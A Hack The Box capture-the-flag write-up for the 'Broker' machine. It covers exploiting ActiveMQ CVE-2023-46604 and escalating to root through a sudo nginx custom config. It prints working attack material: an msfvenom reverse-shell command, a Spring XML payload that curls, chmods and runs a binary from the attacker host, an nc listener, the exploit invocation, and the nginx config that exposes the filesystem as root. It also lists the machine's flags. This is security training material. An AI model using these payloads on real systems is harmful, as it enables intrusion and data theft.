Broker — HTB¶
IP: 10.129.230.87 OS: Ubuntu Linux Date Started: 2026-03-15
Enumeration¶
Nmap¶
Nine open ports:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp open http nginx 1.18.0 (Ubuntu) — proxying to ActiveMQ
1883/tcp open mqtt ActiveMQ MQTT
5672/tcp open amqp ActiveMQ AMQP
8161/tcp open http Jetty 9.4.39.v20210325 — ActiveMQ web console
41171/tcp open tcpwrapped (likely JMX)
61613/tcp open stomp Apache ActiveMQ STOMP
61614/tcp open http Jetty 9.4.39.v20210325 — TRACE method enabled
61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15
- Both port 80 and 8161 return
401 Unauthorizedwithbasic realm=ActiveMQRealm - Port 61616 reveals the critical version: ActiveMQ 5.15.15
Web — ActiveMQ Console¶
Navigating to http://10.129.230.87 prompted for HTTP Basic Auth.
Default creds admin:admin worked → logged into the ActiveMQ web management console.
ffuf¶
Directory enumeration on port 80 ran but didn't reveal anything beyond ActiveMQ's built-in paths (/admin, /api, etc.). The web console itself was the attack surface.
Rabbit Holes Explored¶
- Jetty 9.4.39 vulns — Jetty is just the embedded web server ActiveMQ ships with. Its vulns are mostly low-severity and not useful for RCE.
- TRACE method on port 61614 — only useful for XSS-via-cookie scenarios, not for getting a shell.
- Spring4Shell scanner — not applicable here; ActiveMQ uses Spring internally but isn't a Spring Boot web app exposed to this CVE.
- searchsploit for nginx, NiceAdmin — the login page template isn't the attack surface.
Foothold¶
CVE-2023-46604 — ActiveMQ OpenWire RCE¶
ActiveMQ 5.15.15 is vulnerable to CVE-2023-46604 — a critical deserialization vulnerability in the OpenWire protocol (port 61616). The exploit sends a crafted OpenWire message that forces ActiveMQ to fetch and execute a remote XML ClassPathXmlApplicationContext, which in turn downloads and runs an attacker-supplied binary. No authentication required.
Exploit used: SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
The chain: Exploit binary → sends OpenWire packet to port 61616 → ActiveMQ fetches poc-linux.xml from attacker HTTP server → XML instructs ActiveMQ to fetch + execute test.elf → test.elf (msfvenom reverse shell) connects back to attacker listener
Setup (3 panes needed)¶
Step 1 — Generate reverse shell payload:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.24 LPORT=5555 -f elf -o test.elf
Flags/Notes:
- -p linux/x64/shell_reverse_tcp — payload type: when target runs this, it calls back to attacker
- LHOST=10.10.14.24 — attacker tun0 IP, baked into the binary
- LPORT=5555 — port the binary connects back to (must match listener)
- -f elf — Linux ELF executable format
- -o test.elf — filename must match what poc-linux.xml references
Step 2 — Edit poc-linux.xml:
Changed line 11 from http://0.0.0.0:8001/test.elf to http://10.10.14.24:8001/test.elf
The XML file contents:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>curl -s -o test.elf http://10.10.14.24:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
</list>
</constructor-arg>
</bean>
</beans>
What the XML does: Uses Spring's ClassPathXmlApplicationContext to instantiate a ProcessBuilder bean that runs sh -c to download, chmod, and execute the reverse shell binary.
Step 3 — Host files (Pane 1):
cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
python3 -m http.server 8001
Step 4 — Start listener (Pane 2):
rlwrap nc -lnvp 5555
Step 5 — Fire exploit (Pane 3):
./ActiveMQ-RCE -i 10.129.230.87 -u http://10.10.14.24:8001/poc-linux.xml
Flags/Notes:
- -i — target IP (ActiveMQ box)
- -u — URL to attacker-hosted XML file (ActiveMQ fetches this via OpenWire deserialization)
Confirmation: Python HTTP server showed two GET requests:
10.129.230.87 - - "GET /poc-linux.xml HTTP/1.1" 200 -
10.129.230.87 - - "GET /test.elf HTTP/1.1" 200 -
Struggles / Failed Attempts¶
- Initially ran exploit binary as
./ActiveMQ-RCE.exe(Windows binary) — had to usego buildto compile the Go source for Linux, producing./ActiveMQ-RCE - Used wrong IP (
10.10.14.12instead of10.10.14.24) in the exploit-uflag — XML never fetched - Had
msfvenomnot installed initially — installed via Metasploit installer script - Started HTTP server on port 5555 (same as listener) — had to restart on 8001
- HTTP server wasn't running from the exploit directory (files not found) — had to
cdto correct dir - Multiple attempts with wrong IP in
poc-linux.xmlbefore getting it right - Key lesson: Three of the four IPs in this exploit are YOUR IP. Only
-iis the target.
Shell as activemq¶
- User:
activemq(uid=1000, gid=1000,/home/activemq,/bin/bash) - Landing dir:
/opt/apache-activemq-5.15.15/bin - Used
script /dev/null -qc /bin/bashto upgrade to a proper prompt with directory info
Internal Enumeration¶
- Only real user:
activemq(uid 1000) — no other users with shells in/etc/passwd /etc/shadow— permission denied (not readable by activemq)- ActiveMQ installed at
/opt/apache-activemq-5.15.15/ - Explored Jetty tmp dirs — empty JSP caches, nothing useful
User flag: 477556b6559611c2e4b62bc250f51a59
Privilege Escalation¶
sudo nginx — Custom Config as Root File Server¶
sudo -l
# (ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq can run /usr/sbin/nginx as root with no password.
How to discover the attack: nginx -h or man nginx shows -c filename flag for custom config. GTFOBins confirms the abuse path. The pattern: any service binary that accepts a config file and runs as root via sudo = you control what root does.
Failed attempts:
- sudo /usr/sbin/nginx (no args) — bind() to 0.0.0.0:80 failed — port 80 already in use
- sudo /usr/bin/nginx -c ... — wrong path (/usr/bin/ vs /usr/sbin/), sudo didn't match the allowed binary, demanded a password
- listen 80; in custom config — same port conflict even with custom config
Working config:
cat >/tmp/yourMom.conf <<'EOF'
user root;
events {
worker_connections 1024;
}
http {
server {
listen 9001;
root /;
autoindex on;
}
}
EOF
What each directive does:
- user root; — nginx worker runs as root (possible because sudo starts the master as root)
- events { worker_connections 1024; } — required block, nginx refuses to start without it
- listen 9001; — alternate port to avoid conflict with existing nginx on 80
- root /; — web root is / — entire filesystem is now browsable
- autoindex on; — enables directory listing
sudo /usr/sbin/nginx -c /tmp/yourMom.conf
Flags/Notes:
- -c /tmp/yourMom.conf — use custom config instead of default /etc/nginx/nginx.conf
- Must use full path /usr/sbin/nginx — must match the sudo rule exactly
Then from the attacking machine:
curl http://10.129.230.87:9001/home/activemq/user.txt
# 477556b6559611c2e4b62bc250f51a59
curl http://10.129.230.87:9001/root/root.txt
# 26f13f4b9969e51d768e68cab6711039
Note: /home/root/root.txt returned 404 — root's home directory is /root/, not /home/root/.
Root flag: 26f13f4b9969e51d768e68cab6711039
Flags¶
- User:
477556b6559611c2e4b62bc250f51a59 - Root:
26f13f4b9969e51d768e68cab6711039
Lessons Learned¶
- Default creds first — always try
admin:admin,admin:password, etc. on known software login pages before anything else - Version number is king — ActiveMQ 5.15.15 was the critical finding, not Jetty or nginx. Focus on the main application, not embedded components
- CVE-2023-46604 is a critical unauthenticated RCE in ActiveMQ < 5.18.3 via OpenWire protocol deserialization. The exploit targets port 61616, not the web console
- Multi-stage exploits require careful IP management — this exploit has 4 IP references (3 are yours, 1 is target). Getting any one wrong breaks the chain silently
go buildcan compile Go exploits from source when the prebuilt binary is for the wrong OS- HTTP server must run from the directory containing the files —
python3 -m http.serverserves the CWD script /dev/null -qc /bin/bashupgrades a dumb reverse shell to a proper bash prompt with directory info- GTFOBins is the reflex after
sudo -l— search every binary that appears.nginx -h/man nginxreveals-cflag for custom config - Pattern: sudo + service binary + custom config = root — applies to nginx, apache2, and any service that takes a config file
- sudo path must match exactly —
sudo /usr/bin/nginx≠sudo /usr/sbin/nginx. If the sudo rule says/usr/sbin/nginx, you must use that exact path or sudo won't match and will demand a password - Port conflicts are solved by picking a different port — don't try to fight a running service for its port, just use 9001 or any other free port
/root/is NOT/home/root/— root's home directory is/root/at the filesystem root, not under/home/- nginx config requires
events {}block — even if empty, nginx won't start without it dav_methods PUTcan also be used in nginx configs to enable file writes (e.g., writing SSH keys to/root/.ssh/authorized_keys) — alternative to read-only approach